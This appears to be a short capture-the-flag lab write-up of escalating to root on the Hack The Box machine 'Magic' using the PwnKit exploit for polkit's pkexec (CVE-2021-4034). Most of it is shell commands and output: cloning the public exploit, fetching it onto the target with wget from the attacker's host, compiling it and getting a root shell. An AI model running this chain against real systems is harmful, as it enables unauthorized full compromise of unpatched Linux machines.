InfoSec LAB

Magic_Privilege_Escalation_2

Created: 2 min read

CVE-2021-4034

peas discovered that the target system is vulnerable to cve-2021-4034

a vulnerability, which was classified as critical, has been found in polkit (version now known). This issue affects some unknown processing of the file /usr/bin/pkexec. The manipulation with an unknown input leads to a access control vulnerability. Using CWE to declare the problem leads to CWE-284. The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor. Impacted is confidentiality, integrity, and availability.

exploit (pwnkit)

Exploit available online

┌──(kali㉿kali)-[~/archive/htb/labs/magic]
└─$ git clone https://github.com/berdav/CVE-2021-4034.git ; tar -czf CVE-2021-4034.tar.gz CVE-2021-4034
Cloning into 'CVE-2021-4034'...
remote: Enumerating objects: 92, done.
remote: Counting objects: 100% (36/36), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 92 (delta 24), reused 19 (delta 19), pack-reused 56
Receiving objects: 100% (92/92), 22.71 KiB | 1.89 MiB/s, done.
Resolving deltas: 100% (44/44), done.

Downloading the exploit to Kali

Exploitation

www-data@ubuntu:/dev/shm$ wget -q http://10.10.16.8/CVE-2021-4034.tar.gz ; tar -xf CVE-2021-4034.tar.gz ; cd CVE-2021-4034

Delivery complete

www-data@ubuntu:/dev/shm/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /bin/true gconv_path=./pwnkit.so:.

Compile

www-data@ubuntu:/dev/shm/CVE-2021-4034$ ./cve-2021-4034
./cve-2021-4034
# whoami
whoami
root
# hostname
hostname
ubuntu
# ifconfig
ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.10.185  netmask 255.255.255.0  broadcast 10.10.10.255
        inet6 dead:beef::250:56ff:feb9:77ae  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb9:77ae  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:77:ae  txqueuelen 1000  (Ethernet)
        RX packets 194628  bytes 24545692 (24.5 MB)
        RX errors 0  dropped 38  overruns 0  frame 0
        TX packets 186847  bytes 55538238 (55.5 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 18376  bytes 1432736 (1.4 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 18376  bytes 1432736 (1.4 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

System Level Compromise

Interactive Graph View

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